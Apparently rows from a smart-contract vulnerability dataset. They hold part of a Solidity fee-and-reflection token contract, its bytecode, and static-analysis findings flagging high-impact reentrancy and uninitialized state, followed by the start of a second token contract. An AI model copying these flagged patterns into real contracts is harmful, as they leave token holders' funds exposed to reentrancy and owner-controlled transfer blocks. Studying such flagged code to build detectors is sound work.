payable(0x4412c4D24e34aa59851aaC895bF960bF0a221755); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 30000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063bc33718211610059578063bc33718214610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d35780635932ead1146101fe5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612856565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612400565b6103f6565b604051610162919061283b565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906129b8565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906123b1565b610425565b6040516101ca919061283b565b60405180910390f35b3480156101df57600080fd5b506101e86104fe565b6040516101f59190612a2d565b60405180910390f35b34801561020a57600080fd5b506102256004803603810190610220919061243c565b610507565b005b34801561023357600080fd5b5061023c6105b9565b005b34801561024a57600080fd5b5061026560048036038101906102609190612323565b61062b565b60405161027291906129b8565b60405180910390f35b34801561028757600080fd5b5061029061067c565b005b34801561029e57600080fd5b506102a76107cf565b6040516102b4919061276d565b60405180910390f35b3480156102c957600080fd5b506102d26107f8565b6040516102df9190612856565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612400565b610835565b60405161031c919061283b565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061248e565b610853565b005b34801561035a57600080fd5b506103636108f2565b005b34801561037157600080fd5b5061037a61096c565b005b34801561038857600080fd5b506103a3600480360381019061039e9190612375565b610ec9565b6040516103b091906129b8565b60405180910390f35b60606040518060400160405280600e81526020017f436f736d69632057797665726e73000000000000000000000000000000000000815250905090565b600061040a610403610f50565b8484610f58565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610432848484611123565b6104f38461043e610f50565b6104ee85604051806060016040528060288152602001612fa560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a4610f50565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117289092919063ffffffff16565b610f58565b600190509392505050565b60006009905090565b61050f610f50565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059390612918565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105fa610f50565b73ffffffffffffffffffffffffffffffffffffffff161461061a57600080fd5b60004790506106288161178c565b50565b6000610675600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611887565b9050919050565b610684610f50565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070890612918565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f57595645524e5300000000000000000000000000000000000000000000000000815250905090565b6000610849610842610f50565b8484611123565b6001905092915050565b61085b610f50565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90612918565b60405180910390fd5b8060108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610933610f50565b73ffffffffffffffffffffffffffffffffffffffff161461095357600080fd5b600061095e3061062b565b9050610969816118f5565b50565b610974610f50565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f890612918565b60405180910390fd5b600f60149054906101000a900460ff1615610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890612998565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ae130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610f58565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2757600080fd5b505afa158015610b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5f919061234c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc157600080fd5b505afa158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf9919061234c565b6040518363ffffffff1660e01b8152600401610c16929190612788565b602060405180830381600087803b158015610c3057600080fd5b505af1158015610c44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c68919061234c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610cf13061062b565b600080610cfc6107cf565b426040518863ffffffff1660e01b8152600401610d1e969594939291906127da565b6060604051808303818588803b158015610d3757600080fd5b505af1158015610d4b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d7091906124b7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506801a055690d9db800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e739291906127b1565b602060405180830381600087803b158015610e8d57600080fd5b505af1158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec59190612465565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90612978565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f906128b8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161111691906129b8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a90612958565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90612878565b60405180910390fd5b60008111611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612938565b60405180910390fd5b6002600a819055506008600b8190555061125e6107cf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112cc575061129c6107cf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113755750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61137e57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114295750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561147f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114975750600f60179054906101000a900460ff165b15611547576010548111156114ab57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106114f657600080fd5b601e426115039190612a9d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115f25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116485750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561165e576002600a819055506008600b819055505b60006116693061062b565b9050600f60159054906101000a900460ff161580156116d65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116ee5750600f60169054906101000a900460ff165b15611716576116fc816118f5565b60004790506000811115611714576117134761178c565b5b505b505b611723838383611bef565b505050565b6000838311158290611770576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117679190612856565b60405180910390fd5b506000838561177f9190612b7e565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6117dc600284611bff90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611807573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611858600284611bff90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611883573d6000803e3d6000fd5b5050565b60006008548211156118ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c590612898565b60405180910390fd5b60006118d8611c49565b90506118ed8184611bff90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611953577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119815781602001602082028036833780820191505090505b50905030816000815181106119bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a6157600080fd5b505afa158015611a75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a99919061234c565b81600181518110611ad3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b3a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f58565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611b9e9594939291906129d3565b600060405180830381600087803b158015611bb857600080fd5b505af1158015611bcc573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611bfa838383611c74565b505050565b6000611c4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e3f565b905092915050565b6000806000611c56611ea2565b91509150611c6d8183611bff90919063ffffffff16565b9250505090565b600080600080600080611c8687611f04565b955095509550955095509550611ce486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc581612014565b611dcf84836120d1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e2c91906129b8565b60405180910390a3505050505050505050565b60008083118290611e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7d9190612856565b60405180910390fd5b5060008385611e959190612af3565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050611ed8683635c9adc5dea00000600854611bff90919063ffffffff16565b821015611ef757600854683635c9adc5dea00000935093505050611f00565b81819350935050505b9091565b6000806000806000806000806000611f218a600a54600b5461210b565b9250925092506000611f31611c49565b90506000806000611f448e8787876121a1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611728565b905092915050565b6000808284611fc59190612a9d565b90508381101561200a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612001906128d8565b60405180910390fd5b8091505092915050565b600061201e611c49565b90506000612035828461222a90919063ffffffff16565b905061208981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6120e682600854611f6c90919063ffffffff16565b60088190555061210181600954611fb690919063ffffffff16565b6009819055505050565b6000806000806121376064612129888a61222a90919063ffffffff16565b611bff90919063ffffffff16565b905060006121616064612153888b61222a90919063ffffffff16565b611bff90919063ffffffff16565b9050600061218a8261217c858c611f6c90919063ffffffff16565b611f6c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121ba858961222a90919063ffffffff16565b905060006121d1868961222a90919063ffffffff16565b905060006121e8878961222a90919063ffffffff16565b90506000612211826122038587611f6c90919063ffffffff16565b611f6c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561223d576000905061229f565b6000828461224b9190612b24565b905082848261225a9190612af3565b1461229a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612291906128f8565b60405180910390fd5b809150505b92915050565b6000813590506122b481612f5f565b92915050565b6000815190506122c981612f5f565b92915050565b6000813590506122de81612f76565b92915050565b6000815190506122f381612f76565b92915050565b60008135905061230881612f8d565b92915050565b60008151905061231d81612f8d565b92915050565b60006020828403121561233557600080fd5b6000612343848285016122a5565b91505092915050565b60006020828403121561235e57600080fd5b600061236c848285016122ba565b91505092915050565b6000806040838503121561238857600080fd5b6000612396858286016122a5565b92505060206123a7858286016122a5565b9150509250929050565b6000806000606084860312156123c657600080fd5b60006123d4868287016122a5565b93505060206123e5868287016122a5565b92505060406123f6868287016122f9565b9150509250925092565b6000806040838503121561241357600080fd5b6000612421858286016122a5565b9250506020612432858286016122f9565b9150509250929050565b60006020828403121561244e57600080fd5b600061245c848285016122cf565b91505092915050565b60006020828403121561247757600080fd5b6000612485848285016122e4565b91505092915050565b6000602082840312156124a057600080fd5b60006124ae848285016122f9565b91505092915050565b6000806000606084860312156124cc57600080fd5b60006124da8682870161230e565b93505060206124eb8682870161230e565b92505060406124fc8682870161230e565b9150509250925092565b6000612512838361251e565b60208301905092915050565b61252781612bb2565b82525050565b61253681612bb2565b82525050565b600061254782612a58565b6125518185612a7b565b935061255c83612a48565b8060005b8381101561258d5781516125748882612506565b975061257f83612a6e565b925050600181019050612560565b5085935050505092915050565b6125a381612bc4565b82525050565b6125b281612c07565b82525050565b60006125c382612a63565b6125cd8185612a8c565b93506125dd818560208601612c19565b6125e681612caa565b840191505092915050565b60006125fe602383612a8c565b915061260982612cbb565b604082019050919050565b6000612621602a83612a8c565b915061262c82612d0a565b604082019050919050565b6000612644602283612a8c565b915061264f82612d59565b604082019050919050565b6000612667601b83612a8c565b915061267282612da8565b602082019050919050565b600061268a602183612a8c565b915061269582612dd1565b604082019050919050565b60006126ad602083612a8c565b91506126b882612e20565b602082019050919050565b60006126d0602983612a8c565b91506126db82612e49565b604082019050919050565b60006126f3602583612a8c565b91506126fe82612e98565b604082019050919050565b6000612716602483612a8c565b915061272182612ee7565b604082019050919050565b6000612739601783612a8c565b915061274482612f36565b602082019050919050565b61275881612bf0565b82525050565b61276781612bfa565b82525050565b6000602082019050612782600083018461252d565b92915050565b600060408201905061279d600083018561252d565b6127aa602083018461252d565b9392505050565b60006040820190506127c6600083018561252d565b6127d3602083018461274f565b9392505050565b600060c0820190506127ef600083018961252d565b6127fc602083018861274f565b61280960408301876125a9565b61281660608301866125a9565b612823608083018561252d565b61283060a083018461274f565b979650505050505050565b6000602082019050612850600083018461259a565b92915050565b6000602082019050818103600083015261287081846125b8565b905092915050565b60006020820190508181036000830152612891816125f1565b9050919050565b600060208201905081810360008301526128b181612614565b9050919050565b600060208201905081810360008301526128d181612637565b9050919050565b600060208201905081810360008301526128f18161265a565b9050919050565b600060208201905081810360008301526129118161267d565b9050919050565b60006020820190508181036000830152612931816126a0565b9050919050565b60006020820190508181036000830152612951816126c3565b9050919050565b60006020820190508181036000830152612971816126e6565b9050919050565b6000602082019050818103600083015261299181612709565b9050919050565b600060208201905081810360008301526129b18161272c565b9050919050565b60006020820190506129cd600083018461274f565b92915050565b600060a0820190506129e8600083018861274f565b6129f560208301876125a9565b8181036040830152612a07818661253c565b9050612a16606083018561252d565b612a23608083018461274f565b9695505050505050565b6000602082019050612a42600083018461275e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612aa882612bf0565b9150612ab383612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ae857612ae7612c4c565b5b828201905092915050565b6000612afe82612bf0565b9150612b0983612bf0565b925082612b1957612b18612c7b565b5b828204905092915050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612f6881612bb2565b8114612f7357600080fd5b50565b612f7f81612bc4565b8114612f8a57600080fd5b50565b612f9681612bf0565b8114612fa157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204fb8a1cdd84652339d04c96cbd8b622f7ed89b6176648255d16cd3a3e41877cd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,746
0x286bb9004d0fa74f3b852e09ed24d1f99a1360c4
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ // https://t.me/Akimoinu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns 